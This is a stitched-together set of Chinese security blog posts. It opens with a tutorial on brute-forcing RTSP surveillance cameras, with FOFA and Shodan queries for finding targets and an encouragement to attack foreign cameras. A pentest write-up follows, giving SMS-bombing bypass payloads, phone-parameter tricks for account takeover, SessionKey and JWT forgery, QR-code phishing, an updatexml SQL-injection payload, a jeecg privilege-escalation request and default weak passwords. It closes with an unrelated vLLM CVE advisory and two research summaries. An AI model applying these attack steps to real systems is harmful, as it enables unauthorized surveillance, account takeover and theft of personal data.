这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)

 ~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6

后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可

工具打开以后是这样的,图形化界面,看着就很简单

四、攻防演练RTSP实战

这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。

这里直接把IP导入到ip.txt文件中

这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点

然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小

还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大

爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集

然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了

五、手把手带你挖RTSP漏洞

像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:

FOFA语法

port="554" && protocol="rtsp" && category="视频监控"

FOFA语句二:

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点

shodan搜索网络摄像头语法:

shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试

port:554 has_screenshot:true

然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了

0x5 总结

到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。

然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。

因为我电脑是MacBook的原因,所以一些软件使用上面还是有差异,师傅们可以自行上网搜索,Google浏览器还是很好用的,多搜搜,最好希望师傅们测试这个漏洞的时候测下国外的,不要未授权测试国内的!!!

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

txt的类型像下面的如下:

然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

类似下面的,常用的就是下面几个:

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可,类似下面的:

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号,然后点击加密

再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

打开web端访问,直接跳转这个页面,特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序,找到对应目标资产中的小程序系统

直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a  

burpsuit返回包总结:

401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

0x5 OAuth2.0漏洞

这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下:

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

工具下载链接:https://github.com/MInggongK/jeecg-

这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

三、从小程序到web端接口泄露

好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

首先我使用register注册接口,注册一个账号

下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc,如下:

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露:

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字:

像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令:

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!

背景

vLLM 是一个高吞吐量、低内存占用的开源 Python 库,专为大型语言模型的推理和服务设计。它通过优化的内核和高效的资源管理,支持 AI 开发者在各种硬件平台上部署和运行大型语言模型,目前达到了46.4K的star数量。vLLM 的广泛应用使其成为 AI 社区的重要工具,但也因此成为攻击者的潜在目标。

2025 年 4 月 29 日,vLLM 项目发布了安全更新,修复了多个安全漏洞。奇安信星图实验室的安全研究员协助 vLLM 项目修复了其中三个关键漏洞,分别是 CVE-2025-32444、CVE-2025-46560 和 CVE-2025-30202。这些漏洞可能被攻击者利用,引发拒绝服务攻击或远程代码执行,对使用 vLLM 的系统构成严重威胁。其中CVE-2025-32444的CVSS评分达到严重(10.0),成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

漏洞详情

CVE-2025-32444

vLLM Mooncake 集成远程代码执行漏洞

  • 严重性:严重
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0)
  • 受影响版本:>= 0.6.5, < 0.8.5
  • 已修复版本:0.8.5

描述: vLLM 在与 Mooncake 集成时,使用不安全的 pickle 序列化通过 ZeroMQ 套接字传输数据。由于这些套接字监听所有网络接口,未经身份验证的攻击者可以连接到开放端口并发送恶意 pickle 数据,从而在 vLLM 服务器上执行任意代码。此漏洞的攻击复杂度低,且无需用户交互,风险极高。

影响: 仅使用 Mooncake 集成的 vLLM 实例受此漏洞影响。成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

代码位置: https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

CVE-2025-46560

vLLM input_processor_for_phi4mm 函数二次时间复杂度漏洞

  • 严重性:中等
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H(6.5)
  • 受影响版本:>= 0.8.0, < 0.8.5
  • 已修复版本:0.8.5

描述: 在 vLLM 的 input_processor_for_phi4mm 函数中,存在二次时间复杂度(O(n²))的问题。攻击者可以通过构造包含大量占位符的输入数据,导致处理时间呈平方级增长,从而耗尽 CPU 或内存资源,引发拒绝服务攻击。例如,处理 10,000 个占位符可能导致约 1 亿次操作,显著降低系统性能。

影响: 此漏洞允许具有网络访问权限的攻击者在无需高级权限的情况下触发拒绝服务,影响 vLLM 服务的可用性。

代码位置: https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197

CVE-2025-30202

vLLM ZeroMQ XPUB 套接字配置不当漏洞

  • 严重性:高
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 受影响版本:>= 0.5.2, < 0.8.5
  • 已修复版本:0.8.5

描述: 在多节点 vLLM 部署中,ZeroMQ XPUB 套接字被配置为绑定到所有网络接口,允许未经授权的客户端连接并接收内部 vLLM 状态数据。攻击者可通过发送大量连接请求或恶意数据包,减缓或阻塞发布者进程,从而引发拒绝服务攻击。

影响: 此漏洞可能导致 vLLM 服务性能下降或完全不可用,影响多节点部署的稳定性。攻击者无需认证即可利用此漏洞。

代码位置

建议措施

为确保系统安全,vLLM 用户应采取以下措施:

  1. 立即更新:将 vLLM 更新到版本 0.8.5 或更高版本,以修复所有上述漏洞。更新说明可参考 vLLM 官方文档。
  2. 临时缓解措施
    1. GHSA-hj4w-hm2g-p6w5:确保 vLLM 服务器不暴露在不受信任的网络中,并通过防火墙限制对 ZeroMQ 套接字的访问。
    2. GHSA-9f8f-2vmf-885j:配置防火墙规则,仅允许受信任的主机访问 XPUB 套接字使用的 TCP 端口(端口为随机分配,需检查配置)。
  3. 网络隔离:将 vLLM 部署在受控网络环境中,避免直接暴露在公共互联网上。

相关链接

漏洞影响评估

以下表格总结了三个漏洞的关键信息:

漏洞 IDCVE ID严重性受影响版本已修复版本主要影响
GHSA-vc6m-hm49-g9qgCVE-2025-46560中等>= 0.8.0, < 0.8.50.8.5拒绝服务(DoS)
GHSA-hj4w-hm2g-p6w5CVE-2025-32444严重>= 0.6.5, < 0.8.50.8.5远程代码执行(RCE)
GHSA-9f8f-2vmf-885jCVE-2025-30202>= 0.5.2, < 0.8.50.8.5拒绝服务(DoS)

技术背景

vLLM 的设计依赖于高性能的分布式计算和网络通信,特别是在多节点部署中使用了 ZeroMQ 等技术。然而,网络接口配置不当或序列化机制的不安全使用可能引入严重的安全风险。例如,pickle 序列化在 Python 中因其可执行任意代码的特性而被认为不安全,尤其是在未受信任的网络环境中。类似地,ZeroMQ 套接字的默认配置可能导致意外的数据暴露或资源耗尽。

社区响应

vLLM 项目团队迅速响应了这些漏洞报告,并在 0.8.5 版本中发布了修复补丁。社区用户被鼓励通过 vLLM GitHub 仓库 跟踪更新,并参与漏洞报告和修复工作。vLLM 还计划在未来的版本中增强安全设计,例如改进网络配置验证和序列化安全性。

结论

这些漏洞的发现和修复凸显了开源软件安全的重要性。vLLM 作为 AI 领域的重要工具,其安全性直接影响众多应用场景。通过奇安信星图实验室和 vLLM 社区的协作,这些高危漏洞得以迅速修复,保障了用户系统的安全。用户应保持警惕,及时更新软件,并遵循最佳安全实践以降低风险。

在刚刚结束的网络安全国际顶级会议46th IEEE Symposium on Security and Privacy(简称 IEEE S&P 2025)中,奇安信技术研究院星图实验室的研究成果在会议中进行了分享报告。

IEEE S&P 2025 共收到 1740 篇投稿,最终录用 257 篇,录用率仅为 14.8%。作为信息安全四大顶级学术会议之一,IEEE S&P 长期代表着全球网络与系统安全研究的最新进展与前沿方向,受到学术界与工业界的高度关注。

来自星图实验室的安全研究员周嘉炜同学在大会上分享了题为《Hey, Your Secrets Leaked! Detecting and Characterizing Secret Leakage in the Wild》的研究工作,聚焦软件供应链中的密钥检测技术。该成果由东南大学、奇安信技术研究院星图实验室与清华大学联合完成,由东南大学周嘉炜同学通过国家卓越工程师培养项目,在星图实验室联合培养期间主导完成。

为全面评估多平台下的密钥泄漏风险,该工作从 GitHub、PyPI 和微信小程序等主流平台采集数据,并构建了一个覆盖代码、配置、日志等多类型文件的密钥基准数据集,从而为后续研究提供了可靠的评测基础。

此外,该工作设计并实现了密钥检测系统 KEYSENTINEL。该系统在提取规则方面进行了有针对性的设计与优化:针对结构化密钥,改进了现有匹配模式;对于非结构化或人为设置的密钥,引入前缀匹配、字符串位置关系和子串特征分析等方法,提升提取的准确性。为有效降低误报率,KEYSENTINEL 采用了多层次的混合过滤机制,包括基于语法结构的完整性校验、分段熵过滤、语义分析以及基于 TextCNN 的模型识别,并结合启发式前缀过滤策略进行进一步筛选。实验结果表明,KEYSENTINEL 在检测准确率上达到 91.18%,F1 值为 0.86,显著优于现有主流工具。

最后,该工作开展了大规模、跨平台的密钥泄露测量与风险分析。通过对来自 GitHub、PyPI 和微信小程序平台的逾 8000 万个文件进行扫描分析,发现约 30% 的项目存在密钥泄露风险。进一步的版本演化分析表明,85.91% 的 PyPI 软件包在更新过程中未能清除历史密钥,暴露出版本控制和发布流程中的安全隐患。此外,该工作将 KEYSENTINEL 应用于某企业内部代码库,结果发现其中 36.5% 的密钥仍然处于有效状态,且 23.7% 的密钥存在生产与测试环境复用的情况,进一步揭示了当前实际开发流程中密钥管理存在的问题和面临的挑战。

相关研究成果已在奇安信内部系统中落地应用,有效支撑了企业级代码安全审计与风险防控。

星图实验室协助vLLM项目修复多个高危漏洞)

在软件开发流程中,代码编译是不可或缺的一环。面对日益增长的开源项目规模和复杂性,手动进行仓库级编译往往伴随着效率低下和错误频发的问题。如何有效应对环境配置、依赖管理及编译错误等挑战,是当前自动化软件分析领域的一个重要课题。今天,我们很高兴向大家介绍一项由奇安信星图实验室中国科学技术大学共同参与的研究项目——CompileAgent,这项工作已成功中稿ACL 2025!它是一个基于大型语言模型(LLM)的智能体框架,旨在探索仓库级代码编译的自动化方案。

仓库级编译的挑战

与简单的单文件编译不同,对整个代码仓库进行编译涉及复杂的构建配置和多文件间的相互依赖。开发者们在这一过程中常遇到诸多难题,例如查找准确的编译指令、处理依赖冲突、解决环境不匹配以及代码兼容性问题等。这些挑战使得自动化编译成为一个复杂且有待深入探索的领域。

CompileAgent:一个LLM驱动的仓库级自动化编译框架

受到LLM在自动化复杂任务方面应用前景的启发,我们提出了CompileAgent——首个专为仓库级代码编译任务设计的LLM智能体框架。它旨在通过模拟开发者的编译工作流,自主地搜索编译指令并解决编译过程中出现的错误。

CompileAgent的关键组成:

CompileAgent集成了五种工具和一个流式代理策略,主要通过以下两个核心模块协同工作:

  • CompileNavigator(编译导航模块):负责在代码仓库中寻找并提取正确的编译指令。它利用Shell工具与交互环境进行操作,通过文件导航器(File Navigator)识别可能包含指令的文件,并借助指令提取器(Instruction Extractor)从文件中提炼出编译步骤,甚至从相关URL获取网页内容进行汇总。
  • ErrorSolver(错误解决模块):专用于处理项目构建过程中遇到的编译错误。它包含网页搜索(Website Search)工具,能够查询在线资源(如GitHub和StackOverflow)以获取解决方案。此外,它还采用了多智能体讨论(Multi-Agent Discussion)机制,多个LLM智能体通过多轮讨论,共同分析复杂的编译错误并生成初始解决方案,直到达成共识。

CompileAgent遵循一种流式代理策略,该策略定义了工具的使用顺序,并通过提示词实现工具间的无缝衔接。

CompileAgent系统架构图

实验效果

我们构建了CompileAgentBench,一个包含100个C/C++项目的仓库级编译基准,使用七个主流LLM驱动CompileAgent进行了评估。实验结果显示了CompileAgent的有效性:

  • 编译成功率提升:相较于现有的基线方法(OSS-FuZZ-Gen)和针对辅助编译而构建的方案(Readme-Al 和 RAG),CompileAgent的编译成功率提升了17%至71%。例如,在Claude-3.5-sonnet模型上,成功率提升了71%。
  • 编译时间减少: 编译总时间可减少最多121.9小时。

成本效益: 平均每个项目的编译成本约为0.22美元。

CompileAgent实验结果对比图

讨论与未来潜力

CompileAgent的实践经验表明,LLM智能体在处理复杂的软件工程任务方面具有潜力。这项工作在多个领域提供了启发意义:

  • 自动化CI/CD: 仓库级自动化编译是持续集成/持续部署(CI/CD)流程中的关键一步。CompileAgent的成功经验为构建更智能、更自主的CI/CD流水线提供了新的思路。
  • 自动化程序分析: 编译成功所生成的二进制文件或库可用于后续的性能测试、优化和安全漏洞分析。CompileAgent也可以继承编译时代码分析工具(如Coverity Scan和Scan-Build),可以进一步提升自动化程序分析的效率和可靠性。
  • 软件标准测试环境自动化构建: 通过自动完成复杂的编译过程,CompileAgent有助于快速搭建和维护标准化的软件测试环境,降低环境配置的难度和耗时。
  • 多语言与跨架构编译: 借助其可扩展性,CompileAgent有望支持多语言(如Go、Rust等)和多架构(如MIPS、ARM等)的编译,从而拓展其应用范围。

CompileAgent的工作为LLM在真实世界软件工程领域的应用打开了新的视角。我们期待它能在未来的自动化开发实践中发挥更大的作用。

实践应用

